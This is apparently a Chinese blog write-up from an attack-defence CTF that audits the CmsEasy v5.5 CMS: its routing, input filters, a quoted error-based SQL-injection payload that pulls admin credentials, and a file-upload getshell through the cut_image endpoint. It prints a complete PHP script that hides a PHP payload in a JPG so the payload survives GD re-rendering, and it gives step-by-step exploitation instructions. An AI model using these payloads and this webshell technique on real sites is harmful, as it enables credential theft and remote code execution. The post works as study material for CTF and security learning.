easycms v5.5 分析 | Bugku S3 AWD排位赛

news2024/9/22 19:35:29

前言

这个awd打的悲,后台默认用户名密码为admin:admin,但是几乎所有人都改了

而且一进去看到这个cms就有点懵逼,都不知道这个cms是干嘛的(没用过相似的cms)

虽然网上找出了很多相关的漏洞,但是不知道为什么一个都没用上,或者说是用不了

所以现在来审计一下这个cms

根据里面的注释我得出是 v5.5 的版本(虽然不知道有没有经过bugku的魔改)
在这里插入图片描述
不过上面说的版权倒是给我整不会了,有没有专业人士说说我这个研究算不算破解,反正网上挺多的
而且bugku也对其进行过修改(awd的时候index.php加了个后门)

路由分析

我进入后台admin的时候会自动跳转到 index.php?case=admin&act=login&admin_dir=admin&site=default
据我的经验,这里用的是参数作为路由

case=admin		# 指定类
act=login		# 指定类方法
admin_dir=admin
site=default

一切都是由 lib\tool\front_class.php 中的 front 作为引导
index.php
在这里插入图片描述

进入该类,找到dispatch函数
在这里插入图片描述
method_exists 是 PHP 中的一个内置函数,用于检查一个类是否包含某个指定的方法(成员函数)。

也就是说 $case 指定类, $method 指定该类的方法

在这里插入图片描述

case: admin_act
method: login_action

而这两个值都由请求参数 case 和 act 决定
但是这个类的路径在何处呢,我们继续追踪

在 method_exists 的上面,case已经被new过了,当new的时候找不到类时,就触发了 __autoload 方法
在这里插入图片描述
在这里插入图片描述
最后类的路径是 lib/admin/admin_act.php
为什么会找到这个地方的类,
在这里插入图片描述
set_include_path 可以设置文件包含时的路径,这里设置了 /lib/admin ,而该方法在 front 的初始化函数就被执行过了

被设置的路径在index.php 中也被设置过
在这里插入图片描述

set_include_path(ROOT.'/lib/default'.PATH_SEPARATOR.ROOT.'/lib/plugins'.PATH_SEPARATOR.ROOT.'/lib/tool'.PATH_SEPARATOR.ROOT.'/lib/table'.PATH_SEPARATOR.ROOT.'/lib/inc');

也就是参数路由的执行函数都在 lib 文件夹中找

后台登录分析

既然知道了路由规则,那么现在看看是否能通过注入到达后端

首先通过审计代码我们知道一共有三处过滤,第一个是new front的时候 __construct中的过滤

index.php
在这里插入图片描述

lib\tool\front_class.php
在这里插入图片描述
这里直接对所有GET参数的username过滤了单双引号导致最后的sql语句无法被闭合,现在我还是没想到怎么绕过这里,

第一个也是 front中 __construct中的过滤
在这里插入图片描述
这里先判断php是否会自动转义引号,这里我有必要解释一下

get_magic_quotes_gpc 是一个 PHP 函数,它在旧版本的 PHP(PHP 5.4 之前)中可用。它用于检查 PHP 配置中是否启用了"魔术引号"(Magic Quotes)功能。魔术引号是 PHP 中引入的一个功能,用于自动转义传入数据中的字符(例如,来自表单提交或外部来源的数据),以帮助防止 SQL 注入和其他安全漏洞。

如果启用了魔术引号(get_magic_quotes_gpc() 返回 1 或 true),PHP 会自动在 $_GET、$_POST、$_COOKIE 和 $_REQUEST 数组中的传入数据添加转义斜杠(\)。这种转义是为了使数据在 SQL 查询中使用时更安全。

如果禁用了魔术引号(get_magic_quotes_gpc() 返回 0 或 false),PHP 不会自动添加转义斜杠

然而,魔术引号存在许多问题,本函数已自 PHP 7.4.0 起弃用,自 PHP 8.0.0 起移除

回到正题,从上面的代码看出,上面的代码对所有请求的参数都进行了引号转义导致注入困难

第三处过滤
在该路由中获取数据处,根据前面的规则,找打该路由
lib\admin\admin_act.php
在这里插入图片描述

$user=$user->getrow(array('username'=>front::post('username'),'password'=>md5(front::post('password'))));

这里传递的是一个有键值的字典

一直跟进
lib\inc\table.php
在这里插入图片描述
key进行了html实体的转义
对key和value都进行了关键字过滤

从这三处过滤,我觉得过滤字符串我还是没啥头绪,急需指点

celive sql注入

我在一篇文章中找到了sql注入的点
https://vulners.com/seebug/SSV:94004

但是我在里面并没有注入成功,所以我研究起了代码

文章给出的exp是这样的

链接:
http://localhost/CmsEasy_5.5_UTF-8_20140718/celive/live/header.php
POST:
xajax=LiveMessage&xajaxargs[0][name]=1',(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(select concat(username,0x23,password) from cmseasy_user where groupid=2 limit 1))a from information_schema.tables group by a)b),'','','','1','127.0.0.1','2')#

文章说没有过滤,但是我在调试时发现引号被 addslashes 过滤
体现在 celive\include\common.inc.php
在这里插入图片描述
文章第一个漏洞处体现在 celive\include\xajax.inc.php
在这里插入图片描述

文件上传漏洞

分析

这是在一篇文章看到的
https://www.cnblogs.com/yx20145312/p/7020516.html

起初按照他的做法,确实可以上传文件,而且后缀也是php
但是…
最终也是执行失败了,而且根本找不到图片中我设定的 "马"

最后通过我仔细的源码审计我发现…
在这里插入图片描述
这里作者将分割符 & 都打成两个不一样的字符,复制上去能用才有鬼

而且参数是根据自己的远程图片的信息来定的,而就是说这些参数都是变量,都是根据图片自身来设定,不能完全照抄

所以我们重新来审计一下全过程


漏洞点在 index.php?case=tool&act=cut_image

而根据路由规则, 这个文件在 tool_act.php 中tool_act 类的 cut_image_action 方法

此漏洞利用需要布置一个ftp服务器,并且需要可以匿名登录,在匿名用户的目录放置一个图片马
在window搭建你可以参考这篇文章 https://www.cnblogs.com/yx20145312/p/7020516.html
也可以在网上寻找答案

先说一个这个api是干嘛的,这样才能更好理解漏洞的成因

通过代码的分析,发现其是一个裁剪图片的功能, 至于作者设计时是不是开放远程还是只针对本地图片我们就不得而知了

POST : index.php?case=tool&act=cut_image

pic=test.png
w=2		# 输出图像的宽
h=2		# 输出图像的高
x1=0	# 输入图像的 x 轴
y1=0	 # 输入图像的 y 轴
x2=700	# 输入图像的另一个 x 轴
y2=1120	# 输入图像的另一个 y 轴

简单来说, x1,y1,x2,y2 决定了源图像的大小和位置,而 pic 是我们输入的图片
这里给出一次请求
在这里插入图片描述

源图片是这样的
在这里插入图片描述

而裁剪后是这样的
在这里插入图片描述

也就是说

w=100
h=100
x1=0
y1=0
x2=300
y2=300

在这里插入图片描述
将一个300 * 300 的图像(x1,y2,x2,y3指定),放入了100 * 100 的盒子里(w,h指定),结果就是等比例缩小了

那么现在看源码

在这里插入图片描述
如果base_url设置空(默认设置为空),那么len变量值就为 1
下面会判断 pic 参数是否为http,如果不是,就去掉开头为len长度的变量
比如 len如果为3 pic=123ftp://127.0.0.1 最后就会变成 pic=ftp://127.0.0.1

此时我们的len为1那么只需要在前面填上一个垃圾数据即可
pic=1ftp://127.0.0.1

在这里插入图片描述

$thumb->set(front::$post['thumb'],'jpg');

这里获取文件的一些信息

        $img=$thumb->create_image(
            $thumb->im,
            $_POST['w'],
            $_POST['h'],
            0,
            0,
            $_POST['x1'],
            $_POST['y1'],
            $_POST['x2'] -$_POST['x1'],
            $_POST['y2'] -$_POST['y1']
        );

这里对图像继续裁剪返回一个裁剪后的图像
这里最终调用的函数其实是这个,你跟进也是能看到的,我的是排版了的
在这里插入图片描述

file_put_contents(ROOT.'/'.$save_file,ob_get_contents());

这里对输出裁剪后的图像进行保存

困惑

原本我以为到这已经结束了,没想到真正的后头戏现在才开始
我发现上传上去的图片马都被二次渲染了,原本的一句话早已经不见了踪影
原本的想法是先上传一张,然后对比裁剪后的看哪里相同,结果发现,根本没用…

直觉告诉我,问题就出在 ImageCopyResampled函数上
于是上网找到了方法
突破php 的imagecopyresampled 和imagecopyresized 实现图片马 JPG

但是…
在这里插入图片描述
这个脚本告诉我,他失败了
于是, 我再次遨游于网络的海洋
功夫不负有心人!上文章
CmsEasy前台无限制GetShell【Getshell的补充说明】

在这里插入图片描述
博客上说,传递图片的时候不能带路径,也就是说必须于脚本同一个目录才能生效

这里说下如何使用脚本
脚本

<?php
        /*
        The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations
        caused by PHP functions imagecopyresized() and imagecopyresampled().
        It is necessary that the size and quality of the initial image are the same as those of the processed
        image.
        1) Upload an arbitrary image via secured files upload script
        2) Save the processed image and launch:
        php jpg_payload.php <jpg_name.jpg>
        In case of successful injection you will get a specially crafted image, which should be uploaded again.
        Since the most straightforward injection method is used, the following problems can occur:
        1) After the second processing the injected data may become partially corrupted.
        2) The jpg_payload.php script outputs "Something's wrong".
        If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another
        initial image.
        Sergey Bobrov @Black2Fan.
        See also:
        https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
        */
 
        $miniPayload = '<?php phpinfo();?>';   # 这里写入一句话
 
        if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
        }
      print_r($argv);
        // exit;
        if(!isset($argv[1])) {
                die('php jpg_payload.php <jpg_name.jpg>');
        }
 
        set_error_handler("custom_error_handler");
 
        for($pad = 0; $pad < 1024; $pad++) {
                $nullbytePayloadSize = $pad;
                $dis = new DataInputStream($argv[1]);
                $outStream = file_get_contents($argv[1]);
                $extraBytes = 0;
                $correctImage = TRUE;
 
                if($dis->readShort() != 0xFFD8) {
                        die('Incorrect SOI marker');
                }
 
                while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
                        $marker = $dis->readByte();
                        $size = $dis->readShort() - 2;
                        $dis->skip($size);
                        if($marker === 0xDA) {
                                $startPos = $dis->seek();
                                $outStreamTmp =
                                        substr($outStream, 0, $startPos) .
                                        $miniPayload .
                                        str_repeat("\0",$nullbytePayloadSize) .
                                        substr($outStream, $startPos);
                                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                                if($extraBytes !== 0) {
                                        while((!$dis->eof())) {
                                                if($dis->readByte() === 0xFF) {
                                                        if($dis->readByte !== 0x00) {
                                                                break;
                                                        }
                                                }
                                        }
                                        $stopPos = $dis->seek() - 2;
                                        $imageStreamSize = $stopPos - $startPos;
                                        $outStream =
                                                substr($outStream, 0, $startPos) .
                                                $miniPayload .
                                                substr(
                                                        str_repeat("\0",$nullbytePayloadSize).
                                                                substr($outStream, $startPos, $imageStreamSize),
                                                        0,
                                                        $nullbytePayloadSize+$imageStreamSize-$extraBytes) .
                                                                substr($outStream, $stopPos);
                                } elseif($correctImage) {
                                        $outStream = $outStreamTmp;
                                } else {
                                        break;
                                }
                                if(checkImage('payload_'.$argv[1], $outStream)) {
                                        die('Success!');
                                } else {
                                        break;
                                }
                        }
                }
        }
        unlink('payload_'.$argv[1]);
        die('Something\'s wrong');
 
        function checkImage($filename, $data, $unlink = FALSE) {
                global $correctImage;
                file_put_contents($filename, $data);
                $correctImage = TRUE;
                imagecreatefromjpeg($filename);
                if($unlink)
                        unlink($filename);
                return $correctImage;
        }
 
        function custom_error_handler($errno, $errstr, $errfile, $errline) {
                global $extraBytes, $correctImage;
                $correctImage = FALSE;
                if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
                        if(isset($m[1])) {
                                $extraBytes = (int)$m[1];
                        }
                }
        }
 
        class DataInputStream {
                private $binData;
                private $order;
                private $size;
 
                public function __construct($filename, $order = false, $fromString = false) {
                        $this->binData = '';
                        $this->order = $order;
                        if(!$fromString) {
                                if(!file_exists($filename) || !is_file($filename))
                                        die('File not exists ['.$filename.']');
                                $this->binData = file_get_contents($filename);
                        } else {
                                $this->binData = $filename;
                        }
                        $this->size = strlen($this->binData);
                }
 
                public function seek() {
                        return ($this->size - strlen($this->binData));
                }
 
                public function skip($skip) {
                        $this->binData = substr($this->binData, $skip);
                }
 
                public function readByte() {
                        if($this->eof()) {
                                die('End Of File');
                        }
                        $byte = substr($this->binData, 0, 1);
                        $this->binData = substr($this->binData, 1);
                        return ord($byte);
                }
 
                public function readShort() {
                        if(strlen($this->binData) < 2) {
                                die('End Of File');
                        }
                        $short = substr($this->binData, 0, 2);
                        $this->binData = substr($this->binData, 2);
                        if($this->order) {
                                $short = (ord($short[1]) << 8) + ord($short[0]);
                        } else {
                                $short = (ord($short[0]) << 8) + ord($short[1]);
                        }
                        return $short;
                }
 
                public function eof() {
                        return !$this->binData||(strlen($this->binData) === 0);
                }
        }
?>

需要先上传图片 (需要jpg图片,这里我改了后缀,其实改不改都可以,最后要给脚本传递jpg的图片)
在这里插入图片描述
然后把上传上去的图片下载下来作为脚本的参数

然后将图片放在与脚本同一目录下

php payload.php 1694764156416.jpg

然后会在目录下生成一张图片马
在把这个图片马上传上去 (我的其他参数没动)

在这里插入图片描述
访问下图片马
在这里插入图片描述
别的不说,NB

exp

这里总结一下大概步骤
先准备一张 jpg 类型的图片,然后上传到cmseasy,然后下载下来那张上传后的图片(此时这张图片不是原来那张了,而是经过了二次渲染)
将图片给脚本执行(需要与脚本同一目录),payload执行的语句可以在脚本中修改
将脚本生成的图片再上传上去,访问执行

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1013354.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

API实战教程:使用身份证OCR识别API构建一个应用

1. 引言 你是否曾经想过&#xff0c;只需拍一张身份证的照片&#xff0c;就能自动读取上面的所有信息&#xff1f;今天&#xff0c;我们要介绍的就是这样一个神奇的工具&#xff1a;身份证OCR识别API。不管你是技术小白还是初学者&#xff0c;跟着我们的步骤&#xff0c;你都可…

揭秘弹幕游戏制作

最近好多人问弹幕游戏&#xff0c;甚至是招人的也要DOTS做弹幕游戏... 实际上目前的弹幕游戏绝大多数应该和DOTS没有半点关系&#xff0c;别忘了DOTS这项技术渲染问题还没能够被合理解决呢 所以目前用的全都是GPU Instance这项技术&#xff0c;于是乎我决定下场写这篇帖子&am…

【藏经阁一起读】(69)__《阿里云视频云产品手册2023版》

【藏经阁一起读】&#xff08;69&#xff09;__《阿里云视频云产品手册2023版》 目录 一、概述阿里云视频云全产品矩阵 二、数字人视频制作 以下是人工智能虚拟人物的一些优秀代表作品及其特点&#xff1a; 阿里云视频云数字人视频制作产品优势 ▶高还原度的拟真效果 ▶场…

网络安全(黑客技术)自学规划

一、什么是网络安全 网络安全可以基于攻击和防御视角来分类&#xff0c;我们经常听到的 “红队”、“渗透测试” 等就是研究攻击技术&#xff0c;而“蓝队”、“安全运营”、“安全运维”则研究防御技术。 无论网络、Web、移动、桌面、云等哪个领域&#xff0c;都有攻与防两面性…

外包干了2个月,技术退步明显.......

先说一下自己的情况&#xff0c;大专生&#xff0c;18年通过校招进入武汉某软件公司&#xff0c;干了接近4年的功能测试&#xff0c;今年年初&#xff0c;感觉自己不能够在这样下去了&#xff0c;长时间呆在一个舒适的环境会让一个人堕落!而我已经在一个企业干了四年的功能测试…

华为云云耀云服务器L实例评测|华为云云耀云服务器L实例开展性能评测

作者简介&#xff1a; 辭七七&#xff0c;目前大二&#xff0c;正在学习C/C&#xff0c;Java&#xff0c;Python等 作者主页&#xff1a; 七七的个人主页 文章收录专栏&#xff1a; 七七的闲谈 欢迎大家点赞 &#x1f44d; 收藏 ⭐ 加关注哦&#xff01;&#x1f496;&#x1f…

哪个牌子的电视盒子好用?锋哥数码揭晓最新电视盒子品牌排行榜

哪个牌子的电视盒子好用&#xff1f;不同人群需求不同选购侧重点也不同&#xff0c;老人要买操作简单的&#xff0c;小孩要买辅导课多的&#xff0c;追剧党要买看视频流畅广告少的&#xff0c;喜欢投屏的就更注重投屏体验&#xff0c;锋哥做电视盒子的测评已经很多年了&#xf…

SQL 2008 R2 和vCenter 5.1安装步骤与AQ

准备情况&#xff1a; Windows 2008 r2 sp1 64bit操作系统 Sql 2008 完整版安装包&#xff08;名称&#xff1a;SQLFULL_CHS.iso 安装完成会安装managment&#xff09; vCenter完整版安装包&#xff08;名称&#xff1a;VMware-VIMSetupall-5.1.0-799735.iso&#xff09; …

亿级长连接,淘宝接入层网关的架构设计

说在前面 在40岁老架构师 尼恩的读者交流群(50)中&#xff0c;很多小伙伴拿到一线互联网企业如阿里、网易、有赞、希音、百度、滴滴的面试资格。 最近&#xff0c;尼恩指导一个小伙伴简历&#xff0c;写了一个《高并发网关项目》&#xff0c;此项目帮这个小伙拿到 字节/阿里/…

C++——vector(2)

作者&#xff1a;几冬雪来 时间&#xff1a;2023年9月15日 内容&#xff1a;C——vector知识讲解 目录 前言&#xff1a; vector: 构造函数&#xff1a; 创建模板&#xff1a; reserve/push_back: 迭代器/capacity和size&#xff1a; insert&#xff1a; 改进&…

基于springboot+vue的大学生智能消费记账系统

博主主页&#xff1a;猫头鹰源码 博主简介&#xff1a;Java领域优质创作者、CSDN博客专家、公司架构师、全网粉丝5万、专注Java技术领域和毕业设计项目实战 主要内容&#xff1a;毕业设计(Javaweb项目|小程序等)、简历模板、学习资料、面试题库、技术咨询 文末联系获取 项目介绍…

OPTEE异常调用栈解析

安全之安全(security)博客目录导读 目录 一、OPTEE标准的异常调用栈格式 二、OPTEE异常调用栈解析脚本 三、如何执行解析命令 四、OPTEE异常调用栈解析结果 序言&#xff1a;当OPTEE发生异常时&#xff0c;安全控制台会输出dump信息&#xff0c;虽然有了Call stack&#x…

企业级SpringBoot单体项目模板 —— 基础应用搭建

&#x1f61c;作 者&#xff1a;是江迪呀✒️本文关键词&#xff1a;SpringBoot项目模板、工程、MyBatis-plus☀️每日 一言&#xff1a;你那么在意不喜欢你的人的言语&#xff0c;这对喜欢你的人来说很不公平 一、创建一个Maven项目 Maven的安装自己百度。 2.1 …

新能源汽车驱动电机的基本知识

学习目标:了解电机的基本知识。能力目标:培养学生搜集和整理相关资料的能力。素质目标:培养学生良好的职业素养。额定电店.在夫见定条件下电池工作的*于佳 电压知识准备术语和定义。 (1)驱动电机系统 通过有效的控制策略将动力蓄电池提供的直流电转化为交流实现电机的正转以及反…

在Linux上配置Spug自动化运维平台,实现公网远程访问

文章目录 前言1. Docker安装Spug2 . 本地访问测试3. Linux 安装cpolar4. 配置Spug公网访问地址5. 公网远程访问Spug管理界面6. 固定Spug公网地址 前言 Spug 面向中小型企业设计的轻量级无 Agent 的自动化运维平台&#xff0c;整合了主机管理、主机批量执行、主机在线终端、文件…

Keepalived 高可用(附带配置实例,联动Nginx和LVS)

Keepalived 一、Keepalived相关知识点概述1.1 单服务的风险&#xff08;单点故障问题&#xff09;1.2 一个合格的集群应该具备的特性1.3 VRRP虚拟路由冗余协议1.4 健康检查1.5 ”脑裂“现象 二、Keepalived2.1 Keepalived是什么&#xff1f;2.2 Keepalived体系主要模块及其作用…

机器学习技术(十)——决策树算法实操,基于运营商过往数据对用户离网情况进行预测

机器学习技术&#xff08;十&#xff09;——决策树算法实操 文章目录 机器学习技术&#xff08;十&#xff09;——决策树算法实操一、引言二、数据集介绍三、导入相关依赖库四、读取并查看数据1、读取数据2、查看数据 五、数据预处理1、选择数据2、数据转码 六、建模与参数优…

成都收录《乡村振兴战略下传统村落文化旅游设计》许少辉八一著作

成都收录《乡村振兴战略下传统村落文化旅游设计》许少辉八一著作已收录至成都

类和对象三大特性之多态

全文目录 虚函数虚函数的重写接口继承和实现继承重载、重写&#xff08;覆盖&#xff09;、隐藏&#xff08;重定义&#xff09;C11 override 和 final抽象类 多态的概念多态原理虚函数表 单继承和多继承的虚函数表打印虚函数表单继承的虚函数表多继承的虚函数表 常见面试问答题…